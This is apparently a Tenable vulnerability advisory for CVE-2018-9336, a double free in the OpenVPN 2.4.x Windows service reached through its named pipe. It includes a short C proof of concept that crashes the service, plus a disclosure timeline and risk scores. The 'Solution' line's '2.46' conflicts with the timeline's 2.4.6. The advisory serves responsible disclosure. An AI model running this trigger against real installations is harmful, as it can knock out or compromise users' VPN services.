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[R1] OpenVPN Windows Service Double Free

High

Synopsis

Windows installations of OpenVPN are split into three parts:

  1. OpenVPN Service (openvpnserv.exe)
  2. Userland OpenVPN (openvpn.exe)
  3. User Interface

The project is broken up in this way so that non-admin users can establish VPN connections. The user interface communicates with OpenVPN service over a pipe and the service spawns instances of openvpn.exe when escalated privileges are no longer needed.

A malicious user can send malformed data over the pipe in order to trigger a double free. Only providing a single NULL terminated string causes the service to drop into an error state that triggers the initial free of the data pointer in the function GetStartupData. However, a dangling pointer remains in the GETSTARTUPDATA struct. This dangling pointer is later freed during connection cleanup resulting in undefined behavior.

The following code can be used to reproduce the issue:

HANDLE pipeHandle = CreateFile(_T("\\\\.\\pipe\\openvpn\\service"), GENERIC_READ |
	GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
if (pipeHandle == INVALID_HANDLE_VALUE)
{
	return EXIT_FAILURE;
}

DWORD dwMode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(pipeHandle, &dwMode, NULL, NULL))
{
	return EXIT_FAILURE;
}

DWORD rwTotal = 0;
WCHAR init_message[] = L"test";
if (!WriteFile(pipeHandle, init_message, sizeof(init_message), &rwTotal, NULL))
{
	return EXIT_FAILURE;
}

rwTotal = 0;

char data[1024] = { 0 };
bool success = false;
do
{
	success = ReadFile(pipeHandle, data, sizeof(data), &rwTotal, NULL);
	if (!success && GetLastError() != ERROR_MORE_DATA)
	{
		break;
	}
} while (!success);

return 0;

Solution

Upgrade to OpenVPN 2.46 or later

Disclosure Timeline

03-10-2018 - Vulnerability discovered
03-12-2018 - Vulnerability reported to [email protected]
03-13-2018 - Tenable attempts to establish contact through [email protected] and [email protected]
03-28-2018 - Tenable attempts to contact [email protected] again
03-28-2018 - OpenVPN acknowledges the report and asks clarifying questions.
03-28-2018 - Tenable code snippet used to crash the service
04-05-2018 - OpenVPN assign CVE-2018-9336. Indicates release in two weeks
04-19-2018 - OpenVPN releases a patch with version 2.4.6

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Risk Information

CVE ID: CVE-2018-9336
Tenable Advisory ID: TRA-2018-09
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
7.2 / 5.3
CVSSv2 Vector:
AV:L/AC:L/Au:N/C:C/I:C/A:C/E:U/RL:OF/RC:C
Affected Products:
OpenVPN 2.4.x for Windows
Risk Factor:
High

Advisory Timeline

05-04-2018 - [R1] Initial Release

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